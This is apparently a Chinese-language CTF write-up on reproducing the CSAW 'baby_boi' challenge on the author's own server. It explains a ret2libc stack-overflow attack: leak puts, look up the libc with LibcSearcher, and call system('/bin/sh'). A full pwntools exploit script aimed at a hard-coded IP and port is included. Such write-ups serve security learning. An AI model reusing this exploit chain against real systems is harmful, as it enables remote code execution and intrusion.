[WP] CSAW baby_boi 复现
等我看到这个比赛的时候它已经结束了...
题目还能下 ,在自己的服务器上搭了一下环境 nc 106.12.39.38 102
64位 , 溢出点长度无限 ,无system但是有输出
标准的ret2libc的解法
获取gadget
感觉只需要一个参数,就只取了一个pop rdi ret'
接下来使用puts泄露puts的got内容
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start)
原题给了libc ,然而在我这里没什么用 ,使用LibcSearcher 获取 libc版本
a=p.recvline()[-8:-1] putsaddr=u64(a.ljust(8,'\x00')) print hex(putsaddr) libc=LibcSearcher('puts',putsaddr)
接着获取基址和system函数与'/bin/sh'字符串的偏移并算出真实地址
构建payload2
payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys)
获取flag
payload:
from pwn import * from LibcSearcher import * p=remote("106.12.39.38",102) #p=process('/mnt/hgfs/Desktop/baby_boi') poprdi=0x0000000000400793 start=0x00000000004005A0 context.log_level = 'debug' elf=ELF('/mnt/hgfs/Desktop/baby_boi') putsplt=elf.plt['puts'] putsgot=elf.got['puts'] print putsplt payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(putsgot)+p64(putsplt)+p64(start) p.sendline(payload) print '1:'+p.recvline() b=int(p.recvline()[13:],16) print '2:'+hex(b) sleep(1) a=p.recvline()[-8:-1] putsaddr=u64(a.ljust(8,'\x00')) print hex(putsaddr) libc=LibcSearcher('puts',putsaddr) putsof=libc.dump('puts') print putsof base=putsaddr-putsof sys=libc.dump('system')+base print hex(sys) bin=libc.dump('str_bin_sh')+base print hex(base) print hex(putsaddr) payload='/bin/sh\x00'+'a'*32+p64(poprdi)+p64(bin)+p64(sys) p.sendline(payload) p.interactive()
其实不用这么复杂
刚开始想着把'/bin/sh'直接让程序读到变量里(因为程序输出了变量的地址)
不知道哪里出问题一直报错
后来才在libc里找现成的字符串直接用